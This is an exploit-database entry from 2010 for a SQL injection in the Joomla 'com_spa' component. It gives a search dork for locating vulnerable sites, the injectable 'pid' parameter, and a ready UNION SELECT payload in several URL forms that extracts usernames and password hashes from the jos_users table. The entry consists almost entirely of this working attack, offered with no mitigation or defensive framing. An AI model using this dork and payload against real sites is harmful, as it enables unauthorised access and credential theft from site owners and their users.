Joomla! Component com_spa - SQL Injection (1)

Author: ALTBTA
type: webapps
platform: php
port: 
date_added: 2010-07-20  
date_updated: 2016-11-03  
verified: 1  
codes:   
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 14423.txt  
====================================================
Joomla Component com_spa SQL Injection Vulnerability
====================================================

Author :   altbta
Email  : [l_9[at]hotmail[dot]com]
Homepage : { www.xp10.com/xp10 }
DORK    :  inurl:"index.php?option=com_spa"
===================================================

[+] Vulnerable File :
http://www.site.com/index.php?option=com_spa&view=spa_read_more&pid=[SQL]

[+] ExploiT :
-35 UNION SELECT 1,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11,12,13
from jos_users--

[+] Example :
http://www.site.com/index.php?option=com_spa&view=spa_read_more&pid=-35UNION
SELECT 1,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11,12,13 from
jos_users--

[+] Demo :
http://www.site.com/index.php?option=com_spa&view=spa_read_more&pid=-35%20UNION%20SELECT%201,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11,12,13%20from%20jos_users--